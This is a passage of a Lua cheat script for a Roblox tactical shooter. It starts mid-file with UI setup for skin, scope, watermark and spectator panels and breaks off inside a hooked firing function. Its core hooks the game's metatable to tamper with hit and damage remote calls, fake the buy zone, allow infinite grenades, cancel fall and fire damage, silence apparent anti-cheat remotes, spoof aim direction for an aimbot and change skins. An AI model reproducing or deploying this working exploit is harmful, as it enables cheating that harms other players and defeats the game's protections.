1712UISkin.Parent = FESkin
1713UISkin.FillDirection = Enum.FillDirection.Horizontal
1714UISkin.SortOrder = Enum.SortOrder.LayoutOrder
1715
1716SkinLabel.Name = "SkinLabel"
1717SkinLabel.Parent = FESkin
1718SkinLabel.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1719SkinLabel.BorderColor3 = Color3.new(0, 0, 0)
1720SkinLabel.LayoutOrder = 2
1721SkinLabel.Size = UDim2.new(0.333, 0, 1, 0)
1722SkinLabel.Font = Enum.Font.SourceSans
1723SkinLabel.Text = "Skin"
1724SkinLabel.TextColor3 = Color3.new(1, 1, 1)
1725SkinLabel.TextSize = 14
1726
1727Rarity.Name = "Rarity"
1728Rarity.Parent = FESkin
1729Rarity.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1730Rarity.BorderColor3 = Color3.new(0, 0, 0)
1731Rarity.Size = UDim2.new(0.333, 0, 1, 0)
1732Rarity.LayoutOrder = 3
1733Rarity.Font = Enum.Font.SourceSans
1734Rarity.Text = "Rarity"
1735Rarity.TextColor3 = Color3.new(1, 1, 1)
1736Rarity.TextSize = 14
1737
1738UsingLabel.Name = "UsingLabel"
1739UsingLabel.Parent = FESkin
1740UsingLabel.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1741UsingLabel.BorderColor3 = Color3.new(0, 0, 0)
1742UsingLabel.Size = UDim2.new(0.333, 0, 1, 0)
1743UsingLabel.LayoutOrder = 4
1744UsingLabel.Font = Enum.Font.SourceSans
1745UsingLabel.Text = "Using"
1746UsingLabel.TextColor3 = Color3.new(1, 1, 1)
1747UsingLabel.TextSize = 14
1748
1749
1750TT.Name = "TT"
1751TT.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1752TT.BorderColor3 = Color3.new(0, 0, 0)
1753TT.Position = UDim2.new(0.00346500333, 0, 0.00661594467, 0)
1754TT.Size = UDim2.new(1, 0, 0, 20)
1755
1756Team.Name = "Team"
1757Team.Parent = TT
1758Team.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1759Team.BorderColor3 = Color3.new(0, 0, 0)
1760Team.Size = UDim2.new(0.300000012, 0, 1, 0)
1761Team.Font = Enum.Font.SourceSans
1762Team.LayoutOrder = 1
1763Team.Text = "Team"
1764Team.TextColor3 = Color3.new(1, 1, 1)
1765Team.TextSize = 14
1766
1767Username.Name = "Username"
1768Username.Parent = TT
1769Username.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1770Username.BorderColor3 = Color3.new(0, 0, 0)
1771Username.LayoutOrder = 2
1772Username.Size = UDim2.new(0.300000012, 0, 1, 0)
1773Username.Font = Enum.Font.SourceSans
1774Username.Text = "Username"
1775Username.TextColor3 = Color3.new(1, 1, 1)
1776Username.TextSize = 14
1777
1778Status.Name = "Status"
1779Status.Parent = TT
1780Status.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1781Status.BorderColor3 = Color3.new(0, 0, 0)
1782Status.Size = UDim2.new(0.200000003, 0, 1, 0)
1783Status.LayoutOrder = 3
1784Status.Font = Enum.Font.SourceSans
1785Status.Text = "Aimbot Status"
1786Status.TextColor3 = Color3.new(1, 1, 1)
1787Status.TextSize = 14
1788
1789Age.Name = "Age"
1790Age.Parent = TT
1791Age.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
1792Age.BorderColor3 = Color3.new(0, 0, 0)
1793Age.Size = UDim2.new(0.200000003, 0, 1, 0)
1794Age.Font = Enum.Font.SourceSans
1795Age.Text = "Account Age"
1796Age.LayoutOrder = 4
1797Age.TextColor3 = Color3.new(1, 1, 1)
1798Age.TextSize = 14
1799
1800UIListLayout_2.Parent = TT
1801UIListLayout_2.FillDirection = Enum.FillDirection.Horizontal
1802UIListLayout_2.SortOrder = Enum.SortOrder.LayoutOrder
1803
1804UIPadding_2.Parent = TT
1805UIPadding_2.PaddingRight = UDim.new(0, 11)
1806
1807SFrame.Name = "SFrame"
1808SFrame.BackgroundColor3 = Color3.new(0.0509804, 0.0509804, 0.0509804)
1809SFrame.BorderColor3 = Color3.new(0, 0, 0)
1810SFrame.Size = UDim2.new(1, 0, 0, 120)
1811SFrame.BottomImage = "rbxassetid://132155326"
1812SFrame.MidImage = "rbxassetid://132155326"
1813SFrame.ScrollBarThickness = 10
1814SFrame.TopImage = "rbxassetid://132155326"
1815SFrame.ScrollBarImageColor3 = Color3.fromRGB(66, 66, 66)
1816
1817OutfitScroll.Name = "OutfitScroll"
1818OutfitScroll.BackgroundColor3 = Color3.new(0.0509804, 0.0509804, 0.0509804)
1819OutfitScroll.BorderColor3 = Color3.new(0, 0, 0)
1820OutfitScroll.Size = UDim2.new(1, 0, 1, 0)
1821OutfitScroll.BottomImage = "rbxassetid://132155326"
1822OutfitScroll.MidImage = "rbxassetid://132155326"
1823OutfitScroll.ScrollBarThickness = 10
1824OutfitScroll.TopImage = "rbxassetid://132155326"
1825OutfitScroll.ScrollBarImageColor3 = Color3.fromRGB(66, 66, 66)
1826
1827SkinScroll.Name = "SkinScroll"
1828SkinScroll.BackgroundColor3 = Color3.new(0.0509804, 0.0509804, 0.0509804)
1829SkinScroll.BorderColor3 = Color3.new(0, 0, 0)
1830SkinScroll.Size = UDim2.new(1, 0, 1, 0)
1831SkinScroll.BottomImage = "rbxassetid://132155326"
1832SkinScroll.MidImage = "rbxassetid://132155326"
1833SkinScroll.ScrollBarThickness = 10
1834SkinScroll.TopImage = "rbxassetid://132155326"
1835SkinScroll.ScrollBarImageColor3 = Color3.fromRGB(66, 66, 66)
1836
1837OBack.Name = "OBack"
1838OBack.Parent = OutfitScroll
1839OBack.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
1840OBack.BorderSizePixel = 0
1841OBack.Size = UDim2.new(1, 0, 1, 0)
1842
1843SBack.Name = "SBack"
1844SBack.Parent = SkinScroll
1845SBack.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
1846SBack.BorderSizePixel = 0
1847SBack.Size = UDim2.new(1, 0, 1, 0)
1848
1849SBackList = Instance.new("UIListLayout", SBack)
1850SBackList.SortOrder = Enum.SortOrder.LayoutOrder
1851
1852UIGridLayout.Parent = OBack
1853UIGridLayout.CellPadding = UDim2.new(0,0,0,0)
1854UIGridLayout.CellSize = UDim2.new(0.3,0,0,200)
1855
1856Back.Name = "Back"
1857Back.Parent = SFrame
1858Back.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
1859Back.BorderSizePixel = 0
1860Back.Size = UDim2.new(1, 0, 1, 0)
1861
1862UIListLayout_3.Parent = Back
1863UIListLayout_3.SortOrder = Enum.SortOrder.LayoutOrder
1864
1865UIPadding_3.Parent = Back
1866UIPadding_3.PaddingRight = UDim.new(0, 11)
1867
1868local SampleInfo = Instance.new("TextLabel")
1869SampleInfo.BackgroundTransparency = 1
1870SampleInfo.Size = UDim2.new(1, 0, 1/6, 0)
1871SampleInfo.Font = Enum.Font.Gotham
1872SampleInfo.TextScaled = true
1873SampleInfo.TextStrokeTransparency = 3/4
1874SampleInfo.TextColor3 = Color3.new(1,1,1)
1875SampleInfo.TextTransparency = 0
1876
1877local Scope = Instance.new("Frame")
1878local ScopeY = Instance.new("Frame")
1879local ScopeX = Instance.new("Frame")
1880local Scope_2 = Instance.new("ImageLabel")
1881local Blur = Instance.new("ImageLabel")
1882local Blur_2 = Instance.new("ImageLabel")
1883local Frame1 = Instance.new("Frame")
1884local Frame2 = Instance.new("Frame")
1885local Frame3 = Instance.new("Frame")
1886local Frame4 = Instance.new("Frame")
1887
1888Scope.Name = "Scope"
1889Scope.BackgroundColor3 = Color3.new(1, 1, 1)
1890Scope.BackgroundTransparency = 1
1891Scope.Size = UDim2.new(1, 0, 1, 0)
1892Scope.Visible = false
1893
1894ScopeY.Parent = Scope
1895ScopeY.BackgroundColor3 = Color3.new(0, 0, 0)
1896ScopeY.BorderColor3 = Color3.new(0, 0, 0)
1897ScopeY.BorderSizePixel = 0
1898ScopeY.Position = UDim2.new(0.5, 0, -1, 0)
1899ScopeY.Size = UDim2.new(0, 2, 3, 0)
1900
1901ScopeX.Parent = Scope
1902ScopeX.BackgroundColor3 = Color3.new(0, 0, 0)
1903ScopeX.BorderColor3 = Color3.new(0, 0, 0)
1904ScopeX.BorderSizePixel = 0
1905ScopeX.Position = UDim2.new(-1, 0, 0.5, -18)
1906ScopeX.Size = UDim2.new(3, 0, 0, 2)
1907
1908Scope_2.Name = "Scope"
1909Scope_2.Parent = Scope
1910Scope_2.BackgroundColor3 = Color3.new(1, 1, 1)
1911Scope_2.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
1912
1913Blur.Name = "Blur"
1914Blur.Parent = Scope_2
1915Blur.BackgroundColor3 = Color3.new(1, 1, 1)
1916Blur.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
1917
1918Blur_2.Name = "Blur"
1919Blur_2.Parent = Blur
1920Blur_2.BackgroundColor3 = Color3.new(1, 1, 1)
1921Blur_2.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
1922
1923Frame1.Name = "Frame1"
1924Frame1.BackgroundColor3 = Color3.new(1, 1, 1)
1925Frame1.BackgroundTransparency = 1
1926Frame1.Size = UDim2.new(1, 0, 1, 0)
1927Frame1.Visible = false
1928
1929Frame2.Name = "Frame2"
1930Frame2.BackgroundColor3 = Color3.new(1, 1, 1)
1931Frame2.BackgroundTransparency = 1
1932Frame2.Size = UDim2.new(1, 0, 1, 0)
1933Frame2.Visible = false
1934
1935Frame3.Name = "Frame3"
1936Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
1937Frame3.BackgroundTransparency = 1
1938Frame3.Size = UDim2.new(1, 0, 1, 0)
1939Frame3.Visible = false
1940
1941Frame4.Name = "Frame4"
1942Frame4.BackgroundColor3 = Color3.new(1, 1, 1)
1943Frame4.BackgroundTransparency = 1
1944Frame4.Size = UDim2.new(1, 0, 1, 0)
1945Frame4.Visible = false
1946
1947local ScopeStorage = {Scope, Frame1, Frame2, Frame3, Frame4}
1948local letters = {}
1949
1950local WBack = Instance.new("Frame")
1951local eUIPadding = Instance.new("UIPadding")
1952local eUIListLayout = Instance.new("UIListLayout")
1953
1954WBack.Name = "WBack"
1955WBack.Parent = Ace
1956WBack.AnchorPoint = Vector2.new(1, 0)
1957WBack.BackgroundColor3 = Color3.new(0.156863, 0.156863, 0.156863)
1958WBack.BorderColor3 = Color3.new(0.156863, 0.156863, 0.156863)
1959WBack.BorderSizePixel = 0
1960WBack.Position = UDim2.new(1, 0, 0.100000009, 0)
1961WBack.Size = UDim2.new(0, 424, 0, 30)
1962WBack.Visible = Settings.Watermark
1963
1964eUIPadding.Parent = WBack
1965eUIPadding.PaddingLeft = UDim.new(0, 10)
1966
1967for i = 1,59 do
1968 local _1 = Instance.new("TextLabel")
1969 _1.Name = "1"
1970 _1.Parent = WBack
1971 _1.TextTransparency = 1
1972 _1.BackgroundColor3 = Color3.new(1, 1, 1)
1973 _1.BackgroundTransparency = 1
1974 _1.Size = UDim2.new(0, 7, 1, 0)
1975 _1.Font = Enum.Font.Code
1976 _1.Text = "a"
1977 _1.TextColor3 = Color3.new(1, 1, 1)
1978 _1.TextSize = 14
1979 table.insert(letters, _1)
1980end
1981
1982eUIListLayout.Parent = WBack
1983eUIListLayout.FillDirection = Enum.FillDirection.Horizontal
1984eUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
1985
1986local SpecF = Instance.new("Frame")
1987local LayoutF = Instance.new("UIListLayout")
1988local Top = Instance.new("Frame")
1989local Spec = Instance.new("TextLabel")
1990local OBSM = Instance.new("TextLabel")
1991
1992SpecF.Parent = Ace
1993SpecF.BackgroundColor3 = Color3.new(1, 1, 1)
1994SpecF.BackgroundTransparency = 1
1995SpecF.Position = UDim2.new(0.0132528171, 0, 0.33205381, 0)
1996SpecF.Size = UDim2.new(0.12, 0, 0.232437596, 0)
1997SpecF.Visible = false
1998
1999LayoutF.Parent = SpecF
2000LayoutF.SortOrder = Enum.SortOrder.LayoutOrder
2001
2002Top.Name = "Top"
2003Top.Parent = SpecF
2004Top.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
2005Top.BorderColor3 = Color3.fromRGB(20, 20, 20)
2006Top.Size = UDim2.new(1, 0, 0, 20)
2007
2008Spec.Name = "Spec"
2009Spec.Parent = Top
2010Spec.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
2011Spec.BorderColor3 = Color3.fromRGB(20, 20, 20)
2012Spec.Size = UDim2.new(0.5, 0, 1, 0)
2013Spec.Font = Enum.Font.SourceSansLight
2014Spec.Text = "Spectator"
2015Spec.TextColor3 = Color3.new(1, 1, 1)
2016Spec.TextSize = 14
2017
2018OBSM.Name = "OBSM"
2019OBSM.Parent = Top
2020OBSM.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
2021OBSM.BorderColor3 = Color3.fromRGB(20, 20, 20)
2022OBSM.Position = UDim2.new(0.5, 0, 0, 0)
2023OBSM.Size = UDim2.new(0.5, 0, 1, 0)
2024OBSM.Font = Enum.Font.SourceSansLight
2025OBSM.Text = "Point of View"
2026OBSM.TextColor3 = Color3.new(1, 1, 1)
2027OBSM.TextSize = 14
2028
2029local Skin = {}
2030local straps = {}
2031local wraps = {}
2032local sports = {}
2033local fingerless = {}
2034for i,v in pairs(game.ReplicatedStorage.Skins:GetChildren()) do
2035 for a,b in pairs(v:GetChildren()) do
2036 table.insert(Skin, {v.Name.. "_".. b.Name})
2037 end
2038end
2039for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
2040 if v.Name == "Wraps" or v.Name == "Guts" or v.Name == "MMA" or v.Name == "Wetland" or v.Name == "Ghoul Hex" or v.Name == "Phantom Hex" or v.Name == "Spector Hex" or v.Name == "Orange Hex" or v.Name == "Purple Hex" or v.Name == "Green Hex" then
2041 table.insert(wraps,{v.Name})
2042 end
2043end
2044for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
2045 if v.Name == "Scapter" or v.Name == "Patch" or v.Name == "Digital" or v.Name == "Crystal" then
2046 table.insert(fingerless,{v.Name})
2047 end
2048end
2049for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
2050 if v.Name == "Hazard" or v.Name == "Hallows" or v.Name == "Majesty" or v.Name == "Royal" or v.Name == "Weeb" or v.Name == "CottonTail" or v.Name == "RSL" then
2051 table.insert(sports,{v.Name})
2052 end
2053end
2054for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
2055 if v.Name == "Grim" or v.Name == "Wisk" or v.Name == "Molten" or v.Name == "Kringle" or v.Name == "Racer" then
2056 table.insert(straps,{v.Name})
2057 end
2058end
2059for i = 1,#straps do
2060 table.insert(Skin,{"Strapped Glove_"..unpack(straps[i])})
2061end
2062for i = 1,#sports do
2063 table.insert(Skin,{"Sports Glove_"..unpack(sports[i])})
2064end
2065for i = 1,#fingerless do
2066 table.insert(Skin,{"Fingerless Glove_"..unpack(fingerless[i])})
2067end
2068for i = 1,#wraps do
2069 table.insert(Skin,{"Handwraps_"..unpack(wraps[i])})
2070end
2071table.insert(Skin,{"CTKnife_Stock"})
2072table.insert(Skin,{"TKnife_Stock"})
2073for i,v in pairs(game.ReplicatedStorage.Skins:GetChildren()) do
2074 if v.Name ~= "Flip Knife" and v.Name ~= "Bayonet" and v.Name ~= "Falchion Knife" and v.Name ~= "Karambit" and v.Name ~= "Huntsman Knife" and v.Name ~= "Banana" and v.Name ~= "Butterfly Knife" then
2075 table.insert(Skin, {v.Name.. "_Stock"})
2076 end
2077end
2078
2079function setLetters(text)
2080 if #text > 59 then return end
2081 for i,v in pairs(letters) do
2082 v.TextTransparency = 1
2083 end
2084 for i = 1, #text do
2085 local c = text:sub(i,i)
2086 letters[i].Text = c
2087 letters[i].TextTransparency = 0
2088 end
2089end
2090
2091function CalculateAntiAngles(opposite)
2092 local Target
2093 if Settings.AA.Direction == "Nearest" then
2094 Target = AimbotFunctions.GetNearest()
2095 elseif Settings.AA.Direction == "All Threats" then
2096 for i,v in pairs(Services.Players:GetPlayers()) do
2097 Target = CalculateThreat(v)
2098 if Target then
2099 break
2100 end
2101 end
2102 end
2103
2104 if not Target then
2105 return
2106 end
2107
2108 if Target and Target.Character and Target.Character:FindFirstChild("Head") and Target.Character:FindFirstChild("HumanoidRootPart") and isAlive(Local.Player) and Local.Player.Character and Local.Player.Character:FindFirstChild("Head") and Local.Player.Character:FindFirstChild("HumanoidRootPart") and Target.Character:FindFirstChild("HumanoidRootPart") then
2109 local OHRP = Target.Character.HumanoidRootPart
2110 local HRP = Local.Player.Character.HumanoidRootPart
2111 local vector1 = HRP.CFrame.p
2112 local vector2 = (OHRP.CFrame.p * Vector3.new(1,0,1)) + Vector3.new(0,vector1.Y,0)
2113 local lookAt = CFrame.new(vector1, vector2)
2114 local x, y, z = OHRP.CFrame:ToEulerAnglesYXZ()
2115 local lx, ly, lz = lookAt:ToEulerAnglesYXZ()
2116 local offset = opposite and math.pi or 0
2117
2118 return lookAt * CFrame.Angles(0, y + ly + offset, 0)
2119 end
2120end
2121
2122function Beam(v1, v2)
2123 local b1 = Instance.new("Part", workspace["Ray_Ignore"])
2124 b1.Size = Vector3.new(0.0001,0.0001,0.0001)
2125 b1.Transparency = 1
2126 b1.CanCollide = false
2127 b1.CFrame = CFrame.new(v1)
2128 b1.Anchored = true
2129 local a1 = Instance.new("Attachment", b1)
2130 local b2 = Instance.new("Part", workspace["Ray_Ignore"])
2131 b2.Size = Vector3.new(0.0001,0.0001,0.0001)
2132 b2.Transparency = 1
2133 b2.CanCollide = false
2134 b2.CFrame = CFrame.new(v2)
2135 b2.Anchored = true
2136 local a2 = Instance.new("Attachment", b2)
2137 local b = Instance.new("Beam", b1)
2138 b.FaceCamera = true
2139 b.Attachment0 = a1
2140 b.Attachment1 = a2
2141 b.LightEmission = 1
2142 b.LightInfluence = 0
2143 b.Color = ColorSequence.new(Settings.BulletTracerColor)
2144 b.Width0 = Settings.TracerThickness1 * 0.01
2145 b.Width1 = Settings.TracerThickness2 * 0.01
2146 b.Transparency = NumberSequence.new(Settings.BulletTracerTransparency)
2147 delay(0.25, function()
2148 for i = Settings.BulletTracerTransparency,1,0.02 do
2149 wait()
2150 b.Transparency = NumberSequence.new(i)
2151 end
2152 b1:Destroy()
2153 b2:Destroy()
2154 end)
2155end
2156
2157--Silent
2158
2159
2160--[[
2161function preventfunctionduringsimulation(name)
2162 bruh = Local.Game[name]
2163 Local.Game[name] = function(...)
2164 if getfenv().callback then
2165 return
2166 end
2167 return bruh(...)
2168 end
2169end
2170
2171preventfunctionduringsimulation("createparticle")
2172preventfunctionduringsimulation("createbullethole")
2173]]
2174--[[
2175local t = Local.Player.SkinFolder.TFolder:Clone()
2176local ct = Local.Player.SkinFolder.CTFolder:Clone()
2177t.Parent = Local.Player.SkinFolder
2178ct.Parent = Local.Player.SkinFolder
2179wait(1)
2180Local.Player.SkinFolder.TFolder:Destroy()
2181Local.Player.SkinFolder.CTFolder:Destroy()
2182]]
2183
2184--hooks
2185spawn(function()
2186 repeat wait() until Local.Game.gui
2187 repeat wait() until Local.Game.JoinTeam
2188
2189 local JoinTeam = Local.Game.JoinTeam
2190 Local.Game.JoinTeam = function()end
2191
2192 Local.Game.gui.TeamSelection.Grn.MouseButton1Down:connect(function()
2193 script.Parent.Sounds.MenuClick:Play()
2194 JoinTeam("CT")
2195 end)
2196 Local.Game.gui.TeamSelection.Rd.MouseButton1Down:connect(function()
2197 script.Parent.Sounds.MenuClick:Play()
2198 JoinTeam("T")
2199 end)
2200end)
2201
2202local Real;local Gun;local Team
2203
2204meta = getrawmetatable(game)
2205if setreadonly then setreadonly(meta, false) else make_writeable(meta, true) end
2206
2207local myClient = Local.PlayerGui.Client
2208
2209newindexed = meta.__newindex
2210meta.__newindex = newclose(function(self, key, value)
2211 local Settings = Settings
2212 local callerScript = rawget(getfenv(0), "script")
2213 callerScript = typeof(callerScript) == "Instance" and callerScript or nil
2214
2215 if self and type(value) == "string" and Settings.HideName then
2216 value = value:gsub(Local.Player.Name, Settings.Name)
2217 end
2218
2219 if self and typeof(self) == "Instance" and self.Name == "player" and key == "Text" then
2220 if not Services.Players[value]:FindFirstChild("KarmaDone") then
2221 newindexed(self, "TextColor3", Color3.new(0,1,0))
2222 end
2223 end
2224
2225 if Settings.Fakeduck and self and typeof(self) == "Instance" and self:IsA("Humanoid") and key == "CameraOffset" then
2226 value = Vector3.new(0, 0.05, 0)
2227 end
2228
2229 --[[
2230 if callerScript == myClient and Local.Game.gun ~= "none" and self == Local.Camera and (key == "CFrame" or key == "CoordinateFrame") then
2231 local adder = value * Local.Camera.CFrame:inverse()
2232 local multiplier = Storage[Local.Game.gun.Name]
2233
2234 local x, y, z = Local.Game.newangle:ToEulerAnglesYXZ()
2235 local newnewangle = CFrame.Angles(x*multiplier, y*multiplier, z*multiplier)
2236 if adder == Local.Game.newangle:inverse() then
2237 Local.Camera.CFrame = Local.Camera.CFrame * newnewangle:inverse()
2238 else
2239 Local.Camera.CFrame = Local.Camera.CFrame * newnewangle
2240 end
2241 return
2242 end]]
2243
2244 return newindexed(self, key, value)
2245end)
2246tempgun = nil
2247indexed = meta.__index
2248meta.__index = newclose(function(self, key)
2249 local callerScript = rawget(getfenv(0), "script")
2250 callerScript = typeof(callerScript) == "Instance" and callerScript or nil
2251 local scriptName = indexed(callerScript, "Name")
2252
2253 if scriptName == "DisplayChat" and indexed(self, "Name") == "RoundOver" and key == "Value" and Settings.AllChat then
2254 return true
2255 end
2256
2257 return indexed(self, key)
2258end)
2259hitpartdebounce = true
2260filterdebounce = true
2261namecall = meta.__namecall
2262meta.__namecall = newclose(function(self, ...)
2263 local method = getnamecallmethod()
2264 local args = {...}
2265 local Settings = Settings
2266 local Player = Local.Player
2267
2268 if method == "FindPartOnRayWithIgnoreList" and fakeCFrame and args[2][7] and args[2][7].Name == "HumanoidRootPart" then
2269 local Goal = fakeCFrame
2270 local Start = AimbotFunctions.getRealCameraVector(Player.Character)
2271 print("Reassing")
2272 args[1] = Ray.new(Start, (Goal - Start).unit * 500)
2273 print("BOO!")
2274 end
2275
2276 if method == "FireServer" and self.Name == "HitPart" and hitpartdebounce then
2277 local stat = Storage.Target[2]
2278 if Settings[stat].HookHitpart then
2279 local ourCFrame = AimbotFunctions.getRealCameraVector(Player.Character)
2280 local hit, hitpos, dm, wb = AimbotFunctions.SimulateShot(CFrame.new(ourCFrame, Storage.Target[1][1]), Target[3].Character)
2281 if hit then
2282 args[1] = Storage.Target[1][2]
2283 args[2] = Storage.Target[1][1]
2284 args[8] = 1
2285 end
2286 end
2287 if Settings[stat].OverrideDamage then
2288 args[8] = Settings[stat].Damage
2289 end
2290 if bodyParts[args[1].Name] then
2291 lastHit = {args[1], args[10], args[8] * Local.Game.gun.DMG.Value}
2292 end
2293 if args[1].Parent.Parent == Backtrack then
2294 local myPart = args[1].PT.Value
2295 if myPart then
2296 args[1] = myPart
2297 args[2] = myPart.Position
2298 end
2299 end
2300 hitpartdebounce = false
2301 Events.HitPart:FireServer(unpack(args))
2302 hitpartdebounce = true
2303 return
2304 end
2305 if method == "FindPartOnRayWithWhitelist" and #args[2] == 1 and args[2][1].Name == "SpawnPoints" and Settings.Buymenu then
2306 local Team = Player.Status.Team.Value
2307 local SpawnPoints = workspace.Map.SpawnPoints
2308 workspace.Status.BuyTime.Value = 5
2309 if Team == "T" then
2310 return SpawnPoints.BuyArea
2311 elseif Team == "CT" then
2312 return SpawnPoints.BuyArea2
2313 end
2314 end
2315 if method == "GetState" then
2316 return Enum.HumanoidStateType.Physics
2317 end
2318 if method == "SetPrimaryPartCFrame" and self.Name == "Arms2" then
2319 args[1] = args[1] * CFrame.new(Settings.VX - 2.5, Settings.VY - 2.5, Settings.VZ - 2.5)
2320 end
2321 if method == "FireServer" and self.Name == "ThrowGrenade" and Settings.InfNades then
2322 namecall(self, unpack(args))
2323 error("Spoofed Grenade.")
2324 end
2325 if method == "FireServer" and self.Name == "ControlTurn" and Player.Character then
2326 --local hrp = Player.Character:FindFirstChild("HumanoidRootPart")
2327 if Settings.AA.Enabled then
2328 return namecall(self, Settings.AA.Pitch - 1)
2329 end
2330 end
2331 if method == "CaptureFocus" then
2332 if UI.pointer.Visible then
2333 return
2334 end
2335 end
2336 if method == "FireServer" and self.Name == "PlantC4" and Settings.Antidefuse then
2337 args[1] = Player.Character.HumanoidRootPart.CFrame + Vector3.new(0,-10,0)
2338 args[2] = ""
2339 end
2340 if method == "FireServer" and self.Name == "PlayerChatted" and Settings.ChatAlive then
2341 args[4] = false
2342 end
2343 if method == "FireServer" and self.Name == "BURNME" and Settings.AntiMolotov then
2344 return
2345 end
2346 if method == "FireServer" and self.Name == "FallDamage" and Settings.NoFall then
2347 return
2348 end
2349 if method == "FireServer" and self.Name == "ReplicateCamera" then
2350 succ = pcall(function()
2351 args[1] = Local.Player.Character.Head.CFrame
2352 end)
2353 end
2354 if method == "InvokeServer" and self.Name == "Hugh" then
2355 return
2356 end
2357 if method == "FireServer" and args[1] == Player.UserId then
2358 return
2359 end
2360 if method == "FireServer" and string.len(self.Name) == 38 then
2361 return nil
2362 end
2363 if method == "FireServer" and self.Name == "DataEvent" and Settings.SkinChanger then
2364 for i,v in next, args do
2365 Team = v[2]
2366 Gun = v[3]
2367 table.foreach(v[4],function(k,v)
2368 Real = v
2369 end)
2370 local ctfolder = Player.SkinFolder.CTFolder
2371 local tfolder = Player.SkinFolder.TFolder
2372 if Team == "CT" or Team == "Both" then
2373 for a,b in pairs(ctfolder:GetChildren()) do
2374 if Gun == "Gut Knife" or Gun == "Butterfly Knife" or Gun == "Falchion Knife" or Gun == "Bayonet" or Gun == "Huntsman Knife" or Gun == "Karambit" or Gun == "Banana" or Gun == "Flip Knife" or Gun == "Bearded Axe" or Gun == "Sickle" or Gun == "Cleaver" and b.Name == "Knife" then
2375 local getskin = string.split(Real,"_")
2376 b.Value = tostring(getskin[2])
2377 elseif b.Name == Gun then
2378 local getskin = string.split(Real,"_")
2379 b.Value = tostring(getskin[2])
2380 end
2381 end
2382 end
2383 if Team == "T" or Team == "Both" then
2384 for c,d in pairs(tfolder:GetChildren()) do
2385 if Gun == "Gut Knife" or Gun == "Butterfly Knife" or Gun == "Falchion Knife" or Gun == "Bayonet" or Gun == "Huntsman Knife" or Gun == "Karambit" or Gun == "Banana" or Gun == "Flip Knife" or Gun == "Bearded Axe" or Gun == "Sickle" or Gun == "Cleaver" and d.Name == "Knife" then
2386 local getskin = string.split(Real,"_")
2387 d.Value = tostring(getskin[2])
2388 elseif d.Name == Gun then
2389 local getskin = string.split(Real,"_")
2390 d.Value = tostring(getskin[2])
2391 end
2392 end
2393 end
2394 end
2395 end
2396 return namecall(self, unpack(args))
2397end)
2398
2399if setreadonly then setreadonly(meta, true) else make_writeable(meta, false) end
2400
2401Events.SendMsg.OnClientEvent:connect(function(p22, p23)
2402 print(p22)
2403end)
2404
2405Events.PlayerChatted.OnClientEvent:connect(function(p9, p10, p11, p12, p13, p14, p15)
2406 wait(0.6)
2407 if Settings.Unhash then
2408 p11 = game.ReplicatedStorage.Functions.Filter:InvokeServer(p10, game.Players:FindFirstChild(p9));
2409 if p11:find("#") then
2410 local player = Services.Players:FindFirstChild(p9)
2411 local playerColor = BrickColor.new("White");
2412 if player and player.Status.Team.Value == "T" then
2413 local playerColor = BrickColor.new("Bright yellow");
2414 elseif player and player.Status.Team.Value == "CT" then
2415 playerColor = BrickColor.new("Bright blue");
2416 end
2417
2418 Local.Chat.moveOldMessages()
2419
2420 local Tag = Instance.new("TextLabel", Local.PlayerGui.GUI.Main.Chats);
2421 Tag.Name = "Line1";
2422 Tag.BackgroundTransparency = 1;
2423 Tag.BorderSizePixel = 0;
2424 Tag.Size = UDim2.new(0, 590, 0, 30);
2425 Tag.Position = UDim2.new(0.01, 0, 0, 147);
2426 Tag.TextColor3 = Color3.new(0,1,0);
2427 Tag.TextStrokeColor3 = Color3.new(0, 0, 0);
2428 Tag.TextStrokeTransparency = Tag.TextTransparency;
2429 Tag.TextWrapped = false;
2430 Tag.Font = "ArialBold";
2431 Tag.FontSize = "Size14";
2432 Tag.TextXAlignment = "Left";
2433 Tag.Text = "(UNHASHED)";
2434 Tag.Size = UDim2.new(0, Tag.TextBounds.X, 0, 30);
2435 Local.Chat.createNewMessage(player.Name, p10, playerColor.Color, Color3.new(255, 255, 255), 0.2, v31);
2436 end
2437 end
2438end)
2439
2440local hitobject = Local.Game.hitobject
2441
2442Local.Game.hitobject = function(Hit, Pos, normal, gunstats, stabbing)
2443 if Settings.BulletTracers then
2444 local ourCFrame = AimbotFunctions.getRealCameraVector(Local.Player.Character)
2445 Beam(ourCFrame, Pos)
2446 end
2447 lastPoint = Pos
2448 hitobject(Hit, Pos, normal, gunstats, stabbing)
2449end
2450
2451fire = Local.Game.firebullet
2452
2453Local.Game.firebullet = function(fanfire)
2454 if Settings.HookHitpart then
2455 return fire(fanfire)
2456 end
2457 if not Storage.Target then
2458 print("No target.")
2459 return fire(fanfire)
2460 end
2461 local stat = Storage.Target[2]
2462 if (Settings[stat].AimbotMode == "Enabled" or (Settings[stat].AimbotMode == "On Key" and Services.UserInputService:IsKeyDown(Storage[stat.."Aimkey"].key))) then
2463 local CFrameStorage = Local.Camera.CFrame
2464 fakeCFrame = Storage.Target[1][1]
2465 if Settings[stat].AimbotStyle == "Flick when shooting" then
2466 print("breh")
2467 Local.Camera.CFrame = CFrame.new(Local.Camera.CFrame.p, Storage.Target[1][1])
2468 end
2469 fire(fanfire)
2470 fakeCFrame = nil
2471 if Settings[stat].AimbotStyle == "Flick when shooting" then
